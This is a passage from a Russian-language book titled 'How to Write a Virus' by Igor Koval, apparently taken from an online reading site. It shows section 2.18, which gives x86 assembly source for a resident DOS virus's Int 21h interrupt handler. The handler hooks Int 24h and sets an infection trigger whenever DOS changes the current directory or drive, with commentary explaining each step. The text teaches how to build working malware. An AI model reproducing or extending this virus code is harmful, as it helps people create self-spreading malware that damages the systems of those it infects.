"Игорь Коваль. Как написать вирус" - читать интересную книгу автора написать более эффективный фрагмент,зато выбранный
нами метод достаточно прост . 2.18 Обработчик Int 21h Рассмотрим теперь создание обработчика прерывания Int 21h .Как мы договорились, он должен помещать " единицу " в ячейку " tg_infect ", если DOS вы- полняет смену текущего каталога или диска ( см п. 2.5 ) .Поэтому напишем " фильтр ", который будет проверять, какая именно функция DOS вызвана в тот или иной момент : ;------------------------------------------------- to_new_21h equ $-vir new_21h: jmp cs:start_21h tg_infect db 0 start_21h: pushf push di push es mov es,di ;INT 24h в рези- mov di,90h ;дентном режиме mov word ptr es:[di],to_new_24h mov es:[di+2],cs cmp ah,03bh ;Активизировать ;вирус ? jne cs:new_cmp_1 mov cs:tg_infect-110h,1;Да - взводим ;триггер ... new_cmp_1: cmp ah,00eh jne cs:to_jump mov cs:tg_infect - 110h,1 to_jump: pop es pop di popf db 0eah ;Переход на ста- old_21h dw 0 ;рый обработчик old_21h_2 dw 0 ;INT 21h ... Поскольку при вызове функции DOS в регистре AH за- дается ее номер,достаточно просто проанализировать его и " выловить " нужные значения.Наш вирус будет реагировать на смену текущего каталога (AH=03Bh),и смену текущего диска (AH=0Eh) .Эти числа и пытает- |
|
|